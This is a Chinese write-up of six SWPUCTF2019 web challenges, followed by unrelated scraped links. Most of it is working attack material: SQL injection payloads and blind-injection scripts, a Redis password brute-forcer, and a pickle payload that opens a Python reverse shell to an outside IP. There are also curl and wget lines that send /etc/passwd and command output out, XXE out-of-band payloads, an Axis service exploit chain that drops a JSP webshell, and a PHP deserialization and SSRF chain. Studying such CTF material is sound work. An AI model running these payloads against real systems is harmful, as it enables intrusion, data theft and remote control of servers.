SWPUCTF2019web题复现

2023-10-30

[SWPU2019]web1-easy_web


有一个登录框,试了试万能密码失败,那就注册吧

登录后发现有一个申请广告,在标题处输入11111111’,发现报错,应该是sql注入

禁用了or,空格等等,先使用union发现有22列
-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

后面发现还可以用-1'/**/group/**/by/**/22,'1,一样可以爆出为22列

查看数据库:-1'/**/union/**/select/**/1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

接下来卡住了,看师傅wp,发现过滤了information_schema,使用师傅的payload:

-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22


接下来是无列名注入,举栗子说明一下:
先是正常的查询:select * from users;

查询的时候一定要和表的列数相同 select 1,2,3 union select * from users;

若可用 ` 的话

select `3` from (select 1,2,3 union select * from users)a;


若不可用的话也可以用别名来代替
select b from (select 1,2,3 as b union select * from users)a;

那么即可构造payload如下

-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22


尝试另一个师傅的payload中使用sys.schema_auto_increment_columnssys.schema_table_statistics_with_buffer发现都不存在,与环境有关吧

参考:
mysql.innodb_table_stats
聊一聊bypass information_schema

[SWPU2019]web2-python 简单题

标题为Deserialization,注册后登录进去发现就存在一个提示

<!--没错就是这么简洁~Red*s-->

并且给了一个额外的端口,很有可能是redis相关的漏洞
参考:掌阅iReader某站Python漏洞挖掘
使用python2脚本来爆破redis密码

# -*- coding: utf-8 -*-
import socket
import sys

path = "E:/ctf/Web/字典文件/弱口令字典.txt"
path = unicode(path, 'utf8')
file = open(path,"r")
passwords=[]

while 1:
    line = file.readline()
    passwords.append(line.replace("\n",""))
    if not line:
        break
    pass # do something

def check(ip, port, timeout):
    try:
        socket.setdefaulttimeout(timeout)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        #print u"[INFO] connecting " + ip + u":" + port
        s.connect((ip, int(port)))
        #print u"[INFO] connected "+ip+u":"+port+u" hacking..."
        s.send("INFO\r\n")
        result = s.recv(1024)
        if "redis_version" in result:
            return u"IP:{0}存在未授权访问".format(ip)
        elif "Authentication" in result:
            for passwd in passwords:
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.connect((ip, int(port)))
                s.send("AUTH %s\r\n" %(passwd))
                # print u"[HACKING] hacking to passwd --> "+passwd
                result = s.recv(1024)
                if 'OK' in result:
                    return u"IP:{0} 存在弱口令,密码:{1}".format(ip,passwd)
                else:pass
        else:pass
        s.close()
    except Exception:
        pass
if __name__ == '__main__':
    # default Port
    port="28884"
    ip = '117.21.200.166'
    result = check(ip,port,timeout=10)
    print(result)

得到密码password
redis-cli -h 117.21.200.166 -p 28884 -a password

连接成功后看看redis里面放了些什么:

发现为python里的Pickle,而Pickle是可以执行命令的

import cPickle
import os
import redis

class exp(object):
    def __reduce__(self):
        s = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("110.42.134.160",6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"""
        return (os.system, (s,))

e = exp()
s = cPickle.dumps(e)
r = redis.Redis(host='117.21.200.166',password="password", port=28884, db=0)
r.set("session:b87a278b-19f4-4409-8782-3e79236746a8", s)

这里需要使用linux执行脚本
上面的是linux执行的结果,下面是windows执行的结果,可以看到开头不一样
`

成功得到反弹shell

[SWPU2019]web3-easy_python

输入任意账号密码即可登陆进入,访问upload显示Permission denied!

查看源码,可以看到有一个404 not found的提示
在 flask 中,可以使用 app.errorhandler()装饰器来注册错误处理函数,参数是 HTTP 错误状态码或者特定的异常类,由此我们可以联想到在 404 错误中会有东西存在
访问一个不存在的路由:/logina,显示404 not found,在 HTTP 头中我们可以看到一串 base64 字符串


base64解码后可以得到:SECRET_KEY:keyqqqwwweee!@#$%^&*
登录的时候显示了session,那么很有可能是用 secret_key 伪造 session 来进行越权,使用flask_session_cookie_manager工具

将id改为1成功登入upload,给出了源码:

@app.route('/upload',methods=['GET','POST'])
def upload():
    if session['id'] != b'1':
        return render_template_string(temp)
    if request.method=='POST':
        m = hashlib.md5()
        name = session['password']
        name = name+'qweqweqwe'
        name = name.encode(encoding='utf-8')
        m.update(name)
        md5_one= m.hexdigest()
        n = hashlib.md5()
        ip = request.remote_addr
        ip = ip.encode(encoding='utf-8')
        n.update(ip)
        md5_ip = n.hexdigest()
        f=request.files['file']
        basepath=os.path.dirname(os.path.realpath(__file__))
        path = basepath+'/upload/'+md5_ip+'/'+md5_one+'/'+session['username']+"/"
        path_base = basepath+'/upload/'+md5_ip+'/'
        filename = f.filename
        pathname = path+filename
        if "zip" != filename.split('.')[-1]:
            return 'zip only allowed'
        if not os.path.exists(path_base):
            try:
                os.makedirs(path_base)
            except Exception as e:
                return 'error'
        if not os.path.exists(path):
            try:
                os.makedirs(path)
            except Exception as e:
                return 'error'
        if not os.path.exists(pathname):
            try:
                f.save(pathname)
            except Exception as e:
                return 'error'
        try:
            cmd = "unzip -n -d "+path+" "+ pathname
            if cmd.find('|') != -1 or cmd.find(';') != -1:
				waf()
                return 'error'
            os.system(cmd)
        except Exception as e:
            return 'error'
        unzip_file = zipfile.ZipFile(pathname,'r')
        unzip_filename = unzip_file.namelist()[0]
        if session['is_login'] != True:
            return 'not login'
        try:
            if unzip_filename.find('/') != -1:
                shutil.rmtree(path_base)
                os.mkdir(path_base)
                return 'error'
            image = open(path+unzip_filename, "rb").read()
            resp = make_response(image)
            resp.headers['Content-Type'] = 'image/png'
            return resp
        except Exception as e:
            shutil.rmtree(path_base)
            os.mkdir(path_base)
            return 'error'
    return render_template('upload.html')


@app.route('/showflag')
def showflag():
    if True == False:
        image = open(os.path.join('./flag/flag.jpg'), "rb").read()
        resp = make_response(image)
        resp.headers['Content-Type'] = 'image/png'
        return resp
    else:
        return "can't give you"

预期解

我们可以上传一个软链接压缩包,来读取其他敏感文件而不是我们上传的文件,同时结合 showflag()函数的源码,我们可以得知 flag.jpg 放在 flask 应用根目录的 flag 目录下。那么我们只要创建一个到/xxx/flask/flag/flag.jpg的软链接,即可读取 flag.jpg 文件

在 linux 中,/proc/self/cwd/会指向进程的当前目录,那么在不知道 flask 工作目录时,我们可以用/proc/self/cwd/flag/flag.jpg来访问 flag.jpg

ln -s /proc/self/cwd/flag/flag.jpg flag
zip -ry flag.zip flag


也可以使用 /proc/self/environ,读取进程的环境变量,可以从中获取 flask 应用的绝对路径,再通过绝对路径制作软链接来读取 flag.jpg

ln -s /proc/self/environ where
zip -ry where.zip where
ln -s /ctf/hgfjakshgfuasguiasguiaaui/myflask/flag/flag.jpg flag
zip -ry flag.zip flag

-r:将指定的目录下的所有子目录以及文件一起处理
-y:直接保存符号连接,而非该连接所指向的文件,本参数仅在UNIX之类的系统下有效

非预期

存在一个命令执行

f=request.files['file']
path = basepath+'/upload/'+md5_ip+'/'+md5_one+'/'+session['username']+"/"
filename = f.filename
pathname = path+filename
try:
	cmd = "unzip -n -d "+path+" "+ pathname
	if cmd.find('|') != -1 or cmd.find(';') != -1:
		waf()
		return 'error'
	os.system(cmd)

可以在session['username']注册用户名处执行命令,测试发现没有curl,不然可以直接

& curl 110.42.134.160:6666 -d "@/etc/passwd" #
& curl 110.42.134.160:6666 -d `whoami` #
& curl 110.42.134.160:6666 -T "/etc/passwd" #

我这里是直接在filename处使用$(sleep 5).zip 执行命令
filename因为是文件名,不能带有/,ChaMd5的wp使用的是awk对变量赋值为/,然后再调用,其实还可以使用${PATH:0:1},更加简单
尝试wget,flag文件名告诉了,直接读取即可

$(III=`awk 'BEGIN{printf \"%c\", 47}'`&&wget 110.42.134.160:6666${III}`whoami`).zip
$(wget 110.42.134.160:6666${PATH:0:1}`whoami`).zip
$(wget 110.42.134.160:6666${PATH:0:1}`cat .${PATH:0:1}flag${PATH:0:1}flag.jpg`).zip

假如我们不知道flag文件名,那么首先考虑如何读取目录,由于|被过滤了,不能用|base64,但是想到没有,我们可以将结果输出到一个文件,然后base64文件即可,发现base64会默认换行,导致读取不全,尝试-w失败(搞了半天,最后给一个图片自行体会)

$(echo `ls`>1.txt).zip
$(wget 110.42.134.160:6666${PATH:0:1}`base64 -w 0 1.txt`).zip

经过多次测试发现,我们可以使用sh执行shell脚本,首先上传python反弹shell脚本

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("110.42.134.160",6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

最后下载下来执行即可收到反弹shell

$(wget 110.42.134.160:8000${PATH:0:1}1.sh).zip
$(sh 1.sh).zip

[SWPU2019]web4-demo_mvc

只有一个js文件,看一下源码

主要功能是将username和password以json格式然后发给index.php?r=Login/Login

不难发现,username中加入单引号会直接500错误,而闭合引号后会正常显示。因此可大致确定注入存在,随后开始构造payload。由于题目对username进行了严格的检测,所以无法使用单语句进行注入,但是注入点又存在,于是可以尝试进行堆叠注入
测试发现在单引号后加入分号;,若无法多语句执行,返回页面按理说应该是500,但在这里可以看到正常回显,说明可能存在堆叠注入


尝试进行延时

{"username":"1';SET @a=0x73656C65637420736C6565702835293B;PREPARE st FROM @a;EXECUTE st;","password":"admin'"}


成功执行,那么最后爆破的脚本:

import requests
import json
import time

def main():
    #题目地址
    url = '''http://3db58513-21a0-4e8b-a669-008b60747bf6.node4.buuoj.cn:81/index.php?r=Login/Login'''
    #注入payload
    payloads = "1';set @a=0x{0};prepare ctftest from @a;execute ctftest-- -"
    flag = ''
    for i in range(1,30):
        #查询payload
        payload = "select if(ascii(substr((select flag from flag),{0},1))={1},sleep(3),1)"
        for j in range(32,128):
            #将构造好的payload进行16进制转码和json转码
            time.sleep(0.1)
            datas = {'username':payloads.format(str_to_hex(payload.format(i,j))),'password':'admin'}
            data = json.dumps(datas)
            times = time.time()
            res = requests.post(url = url, data = data)
            if time.time() - times >= 3:
                flag = flag + chr(j)
                print(flag)
                break

def str_to_hex(s):
    return ''.join([hex(ord(c)).replace('0x', '') for c in s])

if __name__ == '__main__':
    main()

最后在flag表flag列中找出是一个glzjin_wants_a_girl_friend.zip压缩包,解压得到源码,发现我们需要读取flag.php的源码

/Controller/BaseController.php中存在一个include函数,并使用了extract()函数对变量进行赋值,存在变量覆盖

	public function loadView($viewName ='', $viewData = [])
	{
		$this->viewPath = BASE_PATH . "/View/{$viewName}.php";
		if(file_exists($this->viewPath))
		{
			extract($viewData);
			include $this->viewPath;
		}
	}

/Controller/UserController.php中调用了loadView,并且$listData的值可控

    public function actionIndex()
    {
        $listData = $_REQUEST;
        $this->loadView('userIndex',$listData);
    }

其对应的/View/userIndex.php中存在一个文件读取

那么就连起来了,直接访问

http://3db58513-21a0-4e8b-a669-008b60747bf6.node4.buuoj.cn:81/index.php?r=User/Index&img_file=/../flag.php

直接获取flag.php经base64后的内容

[SWPU2019]web5-FFFFF

/ctffffff/


访问发现有两个功能:

  • 导出富婆通讯录:下载下来一个xlsx后缀的excel文件
  • 共享我的富婆通讯录:可以上传文件,但是都显示上传失败

最后发现为excel xxe漏洞,CVE-2014-3529
Apache POI XML外部实体(XML External Entity,XXE)攻击详解
利用EXCEL进行XXE攻击

我们首先解压一个xlsx文件

然后找到[Content_Types].xml,在第2行插入我们的payload

<!DOCTYPE x [ 
    <!ENTITY xxe SYSTEM "http://110.42.134.160:6666/"> 
]>
<x>&xxe;</x>

然后再重新压缩:zip -r xxe.xlsx *,上传

发现 Java 版本信息为1.8.0_181
由于是无回显xxe,利用oob来读取本地文件

<!DOCTYPE a [
    <!ENTITY % file SYSTEM "file:///etc/passwd">
    <!ENTITY % dtd SYSTEM "http://110.42.134.160:8000/evil.dtd">
    %dtd;
]>
<x>&send;</x>

evil.dtd:

<!ENTITY % payload "<!ENTITY send SYSTEM 'http://110.42.134.160:6666/?content=%file;'>"> %payload;

但是这里不支持读取多行文件,失败
换种思路,可以读取一开始给的/ctffffff/backups/目录下的文件,因为这个目录下的文件只有一个,所以我们可以直接列出,通过netdoc

<!DOCTYPE a [
    <!ENTITY % file SYSTEM "netdoc:../webapps/ctffffff/backups/">
    <!ENTITY % dtd SYSTEM "http://110.42.134.160:8000/evil.dtd">
    %dtd;
]>
<x>&send;</x>

得到备份的压缩包

发现存在axis和flag.class

访问路由会出现500的情况,flag.class没有权限读取 /flag 文件

axis 的 AdminService 服务可以部署一个类来作为服务,我们可以通过 XXE 来访问内网从而绕过 axis AdminService 的身份认证,然后寻找一个类部署为服务来进行 RCE 或者直接读取 flag

Axis Rce分析
POC:https://github.com/justforfunya/Axis-1.4-RCE-Poc
先用xxe打一次生成RandomService(注:写入的路径是:../webapps/axis/,写入shell文件:bmth.jsp

!--><ns1:deployment xmlns="http://xml.apache.org/axis/wsdd/" xmlns:java="http://xml.apache.org/axis/wsdd/providers/java" xmlns:ns1="http://xml.apache.org/axis/wsdd/"><ns1:service name="RandomService" provider="java:RPC"><requestFlow><handler type="RandomLog"/></requestFlow><ns1:parameter name="className" value="java.util.Random"/><ns1:parameter name="allowedMethods" value="*"/></ns1:service><handler name="RandomLog" type="java:org.apache.axis.handlers.LogHandler" ><parameter name="LogHandler.fileName" value="../webapps/axis/bmth.jsp" /><parameter name="LogHandler.writeToConsole" value="false" /></handler></ns1:deployment

url编码传入

<!DOCTYPE a [
    <!ENTITY % dtd SYSTEM "http://127.0.0.1:8080/axis/services/AdminService?method=%21%2d%2d%3e%3c%6e%73%31%3a%64%65%70%6c%6f%79%6d%65%6e%74%20%78%6d%6c%6e%73%3d%22%68%74%74%70%3a%2f%2f%78%6d%6c%2e%61%70%61%63%68%65%2e%6f%72%67%2f%61%78%69%73%2f%77%73%64%64%2f%22%20%78%6d%6c%6e%73%3a%6a%61%76%61%3d%22%68%74%74%70%3a%2f%2f%78%6d%6c%2e%61%70%61%63%68%65%2e%6f%72%67%2f%61%78%69%73%2f%77%73%64%64%2f%70%72%6f%76%69%64%65%72%73%2f%6a%61%76%61%22%20%78%6d%6c%6e%73%3a%6e%73%31%3d%22%68%74%74%70%3a%2f%2f%78%6d%6c%2e%61%70%61%63%68%65%2e%6f%72%67%2f%61%78%69%73%2f%77%73%64%64%2f%22%3e%3c%6e%73%31%3a%73%65%72%76%69%63%65%20%6e%61%6d%65%3d%22%52%61%6e%64%6f%6d%53%65%72%76%69%63%65%22%20%70%72%6f%76%69%64%65%72%3d%22%6a%61%76%61%3a%52%50%43%22%3e%3c%72%65%71%75%65%73%74%46%6c%6f%77%3e%3c%68%61%6e%64%6c%65%72%20%74%79%70%65%3d%22%52%61%6e%64%6f%6d%4c%6f%67%22%2f%3e%3c%2f%72%65%71%75%65%73%74%46%6c%6f%77%3e%3c%6e%73%31%3a%70%61%72%61%6d%65%74%65%72%20%6e%61%6d%65%3d%22%63%6c%61%73%73%4e%61%6d%65%22%20%76%61%6c%75%65%3d%22%6a%61%76%61%2e%75%74%69%6c%2e%52%61%6e%64%6f%6d%22%2f%3e%3c%6e%73%31%3a%70%61%72%61%6d%65%74%65%72%20%6e%61%6d%65%3d%22%61%6c%6c%6f%77%65%64%4d%65%74%68%6f%64%73%22%20%76%61%6c%75%65%3d%22%2a%22%2f%3e%3c%2f%6e%73%31%3a%73%65%72%76%69%63%65%3e%3c%68%61%6e%64%6c%65%72%20%6e%61%6d%65%3d%22%52%61%6e%64%6f%6d%4c%6f%67%22%20%74%79%70%65%3d%22%6a%61%76%61%3a%6f%72%67%2e%61%70%61%63%68%65%2e%61%78%69%73%2e%68%61%6e%64%6c%65%72%73%2e%4c%6f%67%48%61%6e%64%6c%65%72%22%20%3e%3c%70%61%72%61%6d%65%74%65%72%20%6e%61%6d%65%3d%22%4c%6f%67%48%61%6e%64%6c%65%72%2e%66%69%6c%65%4e%61%6d%65%22%20%76%61%6c%75%65%3d%22%2e%2e%2f%77%65%62%61%70%70%73%2f%61%78%69%73%2f%62%6d%74%68%2e%6a%73%70%22%20%2f%3e%3c%70%61%72%61%6d%65%74%65%72%20%6e%61%6d%65%3d%22%4c%6f%67%48%61%6e%64%6c%65%72%2e%77%72%69%74%65%54%6f%43%6f%6e%73%6f%6c%65%22%20%76%61%6c%75%65%3d%22%66%61%6c%73%65%22%20%2f%3e%3c%2f%68%61%6e%64%6c%65%72%3e%3c%2f%6e%73%31%3a%64%65%70%6c%6f%79%6d%65%6e%74">
    %dtd;
]>


然后写入webshell

POST /axis/services/RandomService HTTP/1.1
Host: 38cd7a12-af52-4f84-b483-a3c171e6c685.node4.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
SOAPAction: something
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Content-Length: 874

<?xml version="1.0" encoding="utf-8"?>
        <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
        xmlns:xsd="http://www.w3.org/2001/XMLSchema"
        xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
        <soapenv:Body>
        <api:main
        soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
            <api:in0><![CDATA[
<%@page import="java.util.*,java.io.*"%><% if (request.getParameter("c") != null) { Process p = Runtime.getRuntime().exec(request.getParameter("c")); DataInputStream dis = new DataInputStream(p.getInputStream()); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); }; p.destroy(); }%>
]]>
            </api:in0>
        </api:main>
  </soapenv:Body>
</soapenv:Envelope>


虽然响应是500,但还是成功写入,最后读取flag

[SWPU2019]web6-出题人不知道

被过滤的字符串:

like sleep regexp select limit benchmark and where ( ) union ascii

可以直接使用

' or passwd > '3' => Wrong password   
' or passwd > '4' => wrong  username or password    => passwd第一位为'3'

写一个脚本来爆破账密码

import requests
import time
import binascii

url = "http://bd634940-5c48-4243-b452-2bcf9995c639.node4.buuoj.cn:81/index.php?method=login"

s = '0x'
for i in range(50):
    for j in range(33,128):
        time.sleep(0.1)
        # username = "' or username > {}#" .format(s+hex(j)[2:])
        username = "' or passwd > {}#" .format(s+hex(j)[2:])
        data = {'username':username,'passwd':'123'}
        r = requests.post(url,data=data)
        if('wrong  username or password'in r.text):
            s = s + hex(j-1)[2:]
            break
            
    print("=>"+str(i)+" : "+binascii.unhexlify(s[2:]).decode('utf-8').lower())    


最后一位需要+1,所以密码为glzjin_wants_a_girl_friend,账号为xiaob
官方wp给出了万能密码可以直接登录:

用户名处 ' or '1'='1' group by passwd with rollup having passwd is NULL -- 
密码为空

登录成功之后查看wsdl.php各个接口

hint
a few file may be helpful index.php Service.php interface.php se.php
get_flag
method can use get_flag only admin in 127.0.0.1 can get_flag

存在一个?method=File_read,尝试读取源码
POST:
filename=index.php

index.php:

<?php
ob_start();
include ("encode.php");
include("Service.php");
//error_reporting(0);

//phpinfo();

$method = $_GET['method']?$_GET['method']:'index';
//echo 1231;
$allow_method = array("File_read","login","index","hint","user","get_flag");


if(!in_array($method,$allow_method))
{
    die("not allow method");
}


if($method==="File_read")
{
    $param =$_POST['filename'];
    $param2=null;

}else
{
    if($method==="login")
    {
        $param=$_POST['username'];
        $param2 = $_POST['passwd'];
    }else
    {
        echo "method can use";
    }
}

echo $method;
$newclass = new Service();
echo $newclass->$method($param,$param2);

ob_flush();

?> 

首先我们需要越权成为admin,读取encode.php

<?php

function en_crypt($content,$key){
    $key    =    md5($key);
    $h      =    0;
    $length    =    strlen($content);
    $swpuctf      =    strlen($key);
    $varch   =    '';
    for ($j = 0; $j < $length; $j++)
    {
        if ($h == $swpuctf)
        {
            $h = 0;
        }
        $varch .= $key{$h};
        
        $h++;
    }
    $swpu  =  '';
    
    for ($j = 0; $j < $length; $j++)
    {
        $swpu .= chr(ord($content{$j}) + (ord($varch{$j})) % 256);
    }
    return base64_encode($swpu);
}

给了我们cookie的加密方法,且key在wsdl.php的文件中可以找到:keyaaaaaaaasdfsaf.txt,为flag{this_is_false_flag}

解密脚本:

<?php

function decrypt($data, $key)
{
    $key = md5($key);
    $x = 0;
    $data = base64_decode($data);
    $len = strlen($data);
    $l = strlen($key);
    $char = '';
    for ($i = 0; $i < $len; $i++)
    {
        if ($x == $l)
        {
            $x = 0;
        }
        $char .= substr($key, $x, 1);
        $x++;
    }
    $str = '';
    for ($i = 0; $i < $len; $i++)
    {
        if (ord(substr($data, $i, 1)) < ord(substr($char, $i, 1)))
        {
            $str .= chr((ord(substr($data, $i, 1)) + 256) - ord(substr($char, $i, 1)));
        }
        else
        {
            $str .= chr(ord(substr($data, $i, 1)) - ord(substr($char, $i, 1)));
        }
    }
    return $str;
}


$key = "flag{this_is_false_flag}";
echo decrypt("3J6Roahxaw==",$key);
?>


那么我们改为admin:1,加密后替换cookie为xZmdm9NxaQ%3D%3D,成功变成admin
最后就是通过ssrf执行get_flag了
构造写入的session:

<?php 
$target = 'http://127.0.0.1/interface.php'; 
$headers = array('X-Forwarded-For:127.0.0.1', 'Cookie:user=xZmdm9NxaQ==');
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^'.join('^^',$headers),'uri' => "aaab")); 
$aaa = serialize($b); 
$aaa = str_replace('^^',"\r\n",$aaa); 
$aaa = str_replace('&','&',$aaa); 
echo $aaa; 
?>


se.php:

<?php
ini_set('session.serialize_handler', 'php');

class aa
{
        public $mod1;
        public $mod2;
        public function __call($name,$param)
        {
            if($this->{$name})
                {
                    $s1 = $this->{$name};
                    $s1();
                }
        }
        public function __get($ke)
        {
            return $this->mod2[$ke];
        }
}


class bb
{
        public $mod1;
        public $mod2;
        public function __destruct()
        {
            $this->mod1->test2();
        }
} 

class cc
{
        public $mod1;
        public $mod2;
        public $mod3;
        public function __invoke()
        {
                $this->mod2 = $this->mod3.$this->mod1;
        } 
}

class dd
{
        public $name;
        public $flag;
        public $b;
        
        public function getflag()
        {
                session_start(); 
                var_dump($_SESSION);
                $a = array(reset($_SESSION),$this->flag);
                echo call_user_func($this->b,$a);
        }
}
class ee
{
        public $str1;
        public $str2;
        public function __toString()
        {
                $this->str1->{$this->str2}();
                return "1";
        }
}

$first = new bb();
$second = new aa();
$third = new cc();
$four = new ee();
$first ->mod1 = $second;
$third -> mod1 = $four;
$f = new dd();
$f->flag='Get_flag';
$f->b='call_user_func';
$four -> str1 = $f;
$four -> str2 = "getflag";
$second ->mod2['test2'] = $third;
echo serialize($first);
?>

__destruct->__call->__get->__invoke->__toString->getflag

参考:
第十届SWPUCTFwriteup
SWPUCTF2019 WriteUp
2019 SWPU-ctf Web题解WriteUp

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

SWPUCTF2019web题复现 的相关文章

  • 使用 ruby​​ on Rails 向静态网站添加功能

    我是 ruby on Rails 的新手 我有一个包含很多静态页面的网站 我想向网站添加一些动态页面 我将在 ruby on Rails 中开发这些页面 当用户单击静态页面之一上的按钮之一时 将触发这些页面提供的功能 我想我将把动态页面放在
  • 表单标签的 CSS 样式

    据我所知 一个
  • REST API 与 Web API

    我是构建 HTTP API 的初学者 我似乎对 REST API 和 Web API 之间的区别感到困惑 我在网上读到更多相关内容 困惑似乎越来越多 我猜菲尔丁有与此链接相同的问题http roy gbiv com untangled 20
  • 通过 url 将整数传递给 php $_GET

    所以我正在做一些 CTF 挑战之一是关于 php 类型杂耍 代码看起来像这样 if GET var1 hash md4 GET var1 print flag 所以我 80 确定我需要传入一个整数 这样它就会是真的 但我能操作的只是 url
  • WebLogic Server :: 服务器不支持 J2EE Web 模块规范 3.0 版

    当我尝试使用 WebLogic 11g 10 3 5 服务器运行应用程序时 它显示 服务器不支持 J2EE Web 模块规范 3 0 版 如何克服这个问题 Thanks 使用支持的规范版本 Servlet 2 5 开发您的应用程序 或者使用
  • 网页编码,设置矛盾[重复]

    这个问题在这里已经有答案了 如果一个网页有 但http标头有 Content Type text html charset UTF 8 那么假设什么编码呢 在 HTML5 中 优先级定义为 用户浏览器设置 字节顺序标记 HTTP 标头 or
  • 从网站获取数据的vba代码

    我是这个网站和 VBA 编程的新手 我遇到了一个问题 我必须从中获取数据这一页 http www kieskeurig nl zoeken index html q 4960999543345 我需要有超链接网址Check Rates 10
  • 用于网站的 Git / 接收后 / 测试站点和生产站点的分离

    我使用 Git 来管理网站的源代码和部署 目前测试站点和实时站点在同一个机器上运行 关注此资源http toroid org ams git website howto http toroid org ams git website how
  • IIS 6 网站根目录与应用程序?解决Url()?

    IIS 6 ASP NET 3 5 C NET 我们遇到一个问题 即同一组文件的行为会有所不同 具体取决于它是根 IIS 网站还是 IIS 网站下的应用程序 使用生成的网址解析网址 http msdn microsoft com en us
  • 从 Unity WebGL 调用 Angular2 函数

    目前 我正在使用 Angular2 版本 2 1 2 和 Unity 可视化工具 使用 Unity 5 5 构建 我需要做的是从 Unity 到 Angular2 进行通信 我正在使用类似于下面的代码 public void GetBill
  • JavaScript 中的对象解构[重复]

    这个问题在这里已经有答案了 gt a a true Statement lt a true 上面的语句是赋值true to a 为什么上面的语句在chrome控制台中没有报错 虽然下面的语句给出了错误 gt a a true Stateme
  • Ruby On Rails - 在控制器中使用关注点

    可能的菜鸟警告 刚接触 RoR 我正在尝试在 RoR 中使用关注点 现在我只写了一个非常简单的问题 app controllers concerns foo rb module Foo extend ActiveSupport Concer
  • 如何在odoo中重写js函数

    我想加载 shop checkout url 函数是 odoo define change info order website sale change info order function require use strict oe w
  • 为什么要使用除 div 以外的任何东西? [关闭]

    就目前情况而言 这个问题不太适合我们的问答形式 我们希望答案得到事实 参考资料或专业知识的支持 但这个问题可能会引发辩论 争论 民意调查或扩展讨论 如果您觉得这个问题可以改进并可能重新开放 访问帮助中心 help reopen questi
  • 在 Tomcat 上部署 Java Web 项目,无需 WAR 或 EAR

    我有一个 Java Web 项目 Struts Spring 在我的本地主机上完美运行 我必须将其部署在我的网站上 但虚拟主机提供的 Tomcat Manager 界面显示 由于安全原因 它无法上传 WAR 文件 当联系技术支持时 我被告知
  • Netty Nio java 中的通信

    我想在 Netty nio 中创建一个具有两个客户端和一个服务器的通信系统 更具体地说 首先 我希望当两个客户端与服务器连接时从服务器发送消息 然后能够在两个客户端之间交换数据 我正在使用本示例提供的代码 https github com
  • 使用 php ping 网站

    我想创建一个 php 脚本 它将 ping 一个域并列出响应时间以及请求的总大小 这将用于监控网站网络 我尝试过curl 这是我到目前为止的代码 function curlTest2 url clearstatcache return if
  • Chrome:网络元素自动移动

    我正在开发一个网络项目 在过去的两周里 我正在进行学期考试 所以我要休息一下 现在 既然他们已经结束了 我又继续我的工作了 但我发现我的一些Web 元素 如按钮 span 在 Chrome 上移动了一些像素 在 IE 和 Mozilla 上
  • 发送变量后的 wsdl 服务响应,php

    我是 SOAP WSDL 函数的新手 我有一位客户从一家从事汽车测试的公司获得了 wsdl 文件 我的客户是他们的分包商 他们告诉我们上传有关车牌 类别等信息 一旦详细信息发送完毕 服务器就会做出成功或失败的响应 请您协助 浏览不同的信息
  • 您可以在不是在 Google 协作平台下创建的网站上使用 Google 脚本吗? [复制]

    这个问题在这里已经有答案了 Google 脚本有一种方法可以嵌入到 Google 网站中 但我想知道是否可以在非 Google 托管的网站上使用 Google 脚本 此 google 脚本的目的是作为 Javascript 的简单替代方案

随机推荐

  • SQL语句的基本常用的一些语法

    1 ORDER BY 字段名 以 排序 如 select from A order by id desc 从大 gt 小 asc 从 小 gt 大 2 Group By 字段名 以 分组 select from A group by id
  • IOTDB-源码解析-查询

    单机查询流程 QueryPlan类 QueryPlan是有关查询相关的类 所有的plan都继承了PhysicalPlan这个虚类 QueryPlan也是一个虚类 其UML类图如下所示 IotDB中的各种reader 此章节请酌情参考查询基础
  • 白盒测试(基本路径法)代码

    白盒测试的一种常用方法是基本路径法 根据源代码构造程序流程图 转换为控制流图 得到基本路径 进而为每条基本路径设计测试用例 基本路径法的一个关键步骤是识别出所有的基本路径 本次作业要求你写一个C 程序 输入 待测程序的控制流图 输出 圈复杂
  • chisel环境安装

    step 0 把java装好 chisel依赖于java的 所以第一步你要装个java 去oracle官网去下载 下面网站 Java SE Development Kit 8 下载 www oracle com 如果你恰好家境贫寒 就下上面
  • 关于多项目使用Maven子工程无法使用

    前几天在网上找了一个商城的项目实战遇到一个问题 导入各种包但是Spring的核心配置文件还是全篇爆红 我自己记录一下我的解决方案 因为是多项目的问题 我当时创建文件的时候都把文件建在了Maven的parent目录下 所以无法导包进入 将每个
  • 【Unity基础】day1整理 -----小球吃金币

    小球 先搭一个场地Plane 命名Map 通过将四个墙的立方体归入Map 可以同时控制大小 分别赋予场地和墙的材质 创造一个小球Player 赋予材质和刚体 因为要实现键盘操作控制小球 因此需要写脚本挂载到Player上 using Sys
  • 基于粒子群算法的PID控制器优化设计(matlab实现)

